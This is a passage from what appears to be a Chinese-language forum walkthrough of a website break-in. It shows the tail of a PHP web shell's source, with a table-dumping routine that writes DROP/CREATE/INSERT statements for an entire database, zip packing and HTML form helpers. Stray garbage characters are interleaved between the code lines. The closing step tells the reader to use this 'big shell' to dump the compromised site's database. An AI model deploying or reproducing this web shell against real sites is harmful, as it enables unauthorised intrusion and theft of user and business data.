      ! X6 L1 B& o& W$ \2 w/ N
1776.                 $data    = implode('', $this -> datasec);
      0 q, }9 w& M& {4 c$ J
1777.                 $ctrldir = implode('', $this -> ctrl_dir);
      
1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
      
1779.         }
      
1780. }
      
1781. // 备份数据库
      
1782. function sqldumptable($table, $fp=0) {
      
1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
      - }" E& E  s2 G8 c- ^* L) A0 w
1784.         $tabledump .= "CREATE TABLE $table (\n";
      
1785.         $firstfield=1;
      
1786.         $fields = q("SHOW FIELDS FROM $table");
      
1787.         while ($field = mysql_fetch_array($fields)) {
      : j. K5 G- p0 e
1788.                 if (!$firstfield) {
      
1789.                         $tabledump .= ",\n";
      
1790.                 } else {
      
1791.                         $firstfield=0;
      ' }- S5 k1 j' e. X# [& r: k, V
1792.                 }
      0 O% k7 ^6 V- A% m/ ?3 ~
1793.                 $tabledump .= "   $field[Field] $field[Type]";
      $ {( X, [5 ?7 |# ^& Q! L
1794.                 if (!empty($field["Default"])) {
      2 T9 R* E5 w$ ?4 N% C- S. v) }
1795.                         $tabledump .= " DEFAULT '$field[Default]'";
      - m9 q9 H% a1 j' B% Z6 H
1796.                 }
      
1797.                 if ($field['Null'] != "YES") {
      
1798.                         $tabledump .= " NOT NULL";
      
1799.                 }
      8 b0 R6 n/ R  k
1800.                 if ($field['Extra'] != "") {
        {" s5 d, S* j3 p
1801.                         $tabledump .= " $field[Extra]";
      
1802.                 }
      
1803.         }
      ( k8 u/ x, h  d* F( J& m
1804.         fr($fields);
      * V8 U  ?4 G5 }0 m& m+ c
1805.         $keys = q("SHOW KEYS FROM $table");
      
1806.         while ($key = mysql_fetch_array($keys)) {
      
1807.                 $kname=$key['Key_name'];
      8 m% v/ O4 \. H) j
1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      
1809.                         $kname="UNIQUE|$kname";
      
1810.                 }
      
1811.                 if(!is_array($index[$kname])) {
      
1812.                         $index[$kname] = array();
      5 ^- C3 t. C1 Z* T
1813.                 }
      ( ^- I6 s% f# b0 H$ x- u- c5 c
1814.                 $index[$kname][] = $key['Column_name'];
      * K9 }# p' V4 O& w2 N: w
1815.         }
      
1816.         fr($keys);
      2 O( Y% S: X2 Q2 N# n* s" Y1 i; K
1817.         while(list($kname, $columns) = @each($index)) {
      ) \  Q0 m7 z* e- X
1818.                 $tabledump .= ",\n";
        P9 ?9 b+ Z  J
1819.                 $colnames=implode($columns,",");
      
1820.                 if ($kname == "PRIMARY") {
      ( J+ h! x* d# z+ F
1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
      7 }: L& \. P1 b1 S8 c" K9 B
1822.                 } else {
      
1823.                         if (substr($kname,0,6) == "UNIQUE") {
      
1824.                                 $kname=substr($kname,7);
      
1825.                         }
      : N0 ?, ]/ O5 a" d
1826.                         $tabledump .= "   KEY $kname ($colnames)";
      : u/ k! q, A4 ~) E
1827.                 }
      ; j9 J0 l5 Z$ @; {' K
1828.         }
      
1829.         $tabledump .= "\n);\n\n";
      
1830.         if ($fp) {
      1 |! F0 l7 d: B9 T, _# K7 c
1831.                 fwrite($fp,$tabledump);
      ' w  p  V9 F, u: ]5 \6 o2 q) r
1832.         } else {
      ; V, z" d3 I( \# o+ _% K5 P0 Z
1833.                 echo $tabledump;
      
1834.         }
      
1835.         $rows = q("SELECT * FROM $table");
      
1836.         $numfields = mysql_num_fields($rows);
      ; u# z. Q* A0 Q# A2 l9 W2 f
1837.         while ($row = mysql_fetch_array($rows)) {
      
1838.                 $tabledump = "INSERT INTO $table VALUES(";
      
1839.                 $fieldcounter=-1;
      3 V; U  @8 h7 x. T6 L
1840.                 $firstfield=1;
      7 i+ f) b! w& q5 F3 @
1841.                 while (++$fieldcounter<$numfields) {
      
1842.                         if (!$firstfield) {
      8 q4 h: _/ Y1 C* J1 {
1843.                                 $tabledump.=", ";
      - [6 U0 x5 r: O# m6 V
1844.                         } else {
      
1845.                                 $firstfield=0;
      
1846.                         }
      / x+ K7 I% D/ |; R1 ?3 m$ N- L
1847.                         if (!isset($row[$fieldcounter])) {
      & @+ b3 x) z# s1 s$ x
1848.                                 $tabledump .= "NULL";
      $ K5 M1 _5 I) J% L: f
1849.                         } else {
      
1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      0 w/ {7 k; x+ l+ W" f4 P! {
1851.                         }
      
1852.                 }
      
1853.                 $tabledump .= ");\n";
      
1854.                 if ($fp) {
      + V! b2 d" `& Y4 l7 G: v/ `
1855.                         fwrite($fp,$tabledump);
      
1856.                 } else {
      
1857.                         echo $tabledump;
      
1858.                 }
      
1859.         }
      
1860.         fr($rows);
      5 Z) R& l, Z+ v3 h, r$ d' W
1861.         if ($fp) {
      
1862.                 fwrite($fp,"\n");
      
1863.         } else {
      
1864.                 echo "\n";
      
1865.         }
      * V& u- x0 r: S6 x
1866. }
      
1867. function ue($str){
      
1868.         return urlencode($str);
      5 A" l; C4 S0 v' u% R# o
1869. }
      
1870. function p($str){
      
1871.         echo $str."\n";
      , a* ]2 ^: ^" }: n. G, k
1872. }
      / s, W- |. k6 i$ l6 i
1873. function tbhead() {
      
1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      
1875. }
      
1876. function tbfoot(){
      7 X/ [& J4 p; o
1877.         p('</table>');
      
1878. }
      0 A: z7 Y) S! P- q* {6 K, o/ z
1879. function makehide($name,$value=''){
      5 d  s& h" K4 ]! `- @
1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
      - @# B6 @) q' Q/ A0 \
1881. }
      * n" J7 d9 R; z8 \9 S- a
1882. function makeinput($arg = array()){
      3 k. t4 k: x6 V* ]0 f  ]! h
1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
      
1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
      
1885.         !$arg['type'] && $arg['type'] = 'text';
      
1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      % f" Z! C: M/ g2 X1 H; m- R' C  Y
1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
      
1888.         if ($arg['newline']) {
      " Y' {" n4 n+ w5 h
1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
      
1890.         } else {
      
1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
      
1892.         }
      
1893. }
      
1894. function makeselect($arg = array()){
      
1895.         if ($arg['onchange']) {
      , q, k: R# J6 |- m, i6 {, U( O; j2 H
1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      3 g) u7 y& L+ {
1897.         }
      1 x/ V2 f1 G3 Z* Z. [
1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
      ) I- x5 [1 R# E% v" ^5 N
1899.         if ($arg['newline']) p('<p>');
      7 w/ _( w+ Z( G# D2 m9 ]$ ?6 Z4 C9 d
1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
      : T& f+ g% U+ Y" W2 m7 o% t
1901.                 if (is_array($arg['option'])) {
      
1902.                         foreach ($arg['option'] as $key=>$value) {
      5 G, V0 u+ m8 ]6 i  @
1903.                                 if ($arg['selected']==$key) {
      
1904.                                         p("<option value="$key" selected>$value</option>");
      . e' X2 ^& ], [! z( f
1905.                                 } else {
      5 E# S7 I$ [  ~; G
1906.                                         p("<option value="$key">$value</option>");
      - X$ x! l5 G8 {5 n7 E  n# z/ ^
1907.                                 }
      
1908.                         }
      1 p  O7 i+ x) z
1909.                 }
      / P2 }0 `" |. V! l- R% k& ~, U
1910.         p("</select>");
      
1911.         if ($arg['newline']) p('</p>');
      : X: _; Q- ?: q. K3 c8 @% S3 j
1912. }
      6 X$ u6 @4 z  C. W! a* X, g0 p
1913. function formhead($arg = array()) {
      
1914.         !$arg['method'] && $arg['method'] = 'post';
      
1915.         !$arg['action'] && $arg['action'] = $self;
      $ `+ N0 X% k* G3 e
1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
      
1917.         !$arg['name'] && $arg['name'] = 'form1';
      1 u% |' |9 r* Z/ s8 K& l/ T
1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      
1919.         if ($arg['title']) {
      + v" b5 I) l' v% p7 ^
1920.                 p('<h2>'.$arg['title'].' »</h2>');
      
1921.         }
      : f+ O2 R) M( L/ c
1922. }
      
1923.        
      ! k% U; ]2 f" L
1924. function maketext($arg = array()){
      
1925.         !$arg['cols'] && $arg['cols'] = 100;
        Y4 Y: s& p- ?3 Z
1926.         !$arg['rows'] && $arg['rows'] = 25;
      / r( ?5 z2 q9 m' O) S
1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      . Q3 X5 t( z: w& E
1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      ' S0 n( E& R1 W" l. x# m- `& \
1929. }
      + s$ u0 x# V  B: ~6 K) x
1930. 
      
1931. function formfooter($name = ''){
      * k# \# `5 l" k
1932.         !$name && $name = 'submit';
      . K. m7 W9 D# P* G3 {$ b  ~/ |
1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
      9 ^. A& t1 ]3 t! }/ G: J) L' ]( o
1934.         p('</form>');
      , G$ O1 E4 C7 z0 _  a, L& c
1935. }
      7 y, A9 X0 f1 y( \
1936. 
      
1937. function formfoot(){
      
1938.         p('</form>');
      
1939. }
      
1940. 
      
1941. // 调试函数
      
1942. function pr($a) {
      2 d' O. ]1 d8 W
1943.         echo '<pre>';
      
1944.         print_r($a);
      / w2 x3 [. b2 {) I
1945.         echo '</pre>';
      
1946. }
      - ~( o$ m7 q: t: G# x( }
1947. 
      , e3 L( M- t# E6 ~  ]) z
1948. ?>

复制代码

11、最后通过大码对网站数据库进行脱库